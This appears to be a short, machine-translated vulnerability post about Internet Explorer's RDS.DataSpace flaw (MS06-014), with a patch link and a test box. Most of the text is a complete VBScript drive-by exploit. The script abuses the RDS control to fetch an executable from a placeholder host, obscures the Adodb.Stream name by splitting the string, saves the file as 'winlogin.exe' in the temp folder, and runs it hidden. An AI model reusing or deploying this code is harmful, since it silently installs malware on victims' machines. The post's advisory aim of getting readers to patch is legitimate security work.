[Latest vulnerability] Using RDS. DataSpace in IE to download and run virus files

Execute the following Code Test whether your machine has a vulnerability: <textarea id="runcode80083"></textarea>
[Ctrl + A select all Note: If you need to introduce external JS, You need to refresh it to execute]

patch download: http://www.microsoft.com/china/technet/Security/bulletin/ms06-014.mspx
the related virus vbs code is as follows: copy Code the code is as follows: on error resume next
DL =" http://www.xxx.com/xxx.exe "
set df = document. createelement ("object")
DF. setattribute "classid", "CLSID: BD96C556-65A3-11D0-983A-00C04FC29E36"
STR = "Microsoft. XMLHTTP "
set X = DF. createobject (STR, "")
A1 = "Ado"
A2 = "DB. "
A3 =" str "
A4 =" EAM "
str1 = A1 & A2 & A3 & A4
str5 = str1
set S = DF. createobject (str5, "")
S. type = 1
str6 = "get"
X. open str6, DL, false
X. send
fname1 = "winlogin.exe"
set f = DF. createobject ("scripting. fileSystemObject "," ")
set TMP = f. getspecialfolder (2)
fname1 = f. buildpath (TMP, fname1)
S. open
S. write X. responsebody
S. savetofile fname1, 2
S. close
set q = DF. createobject ("shell. application "," ")
q. shellExecute fname1, "", "", "open", 0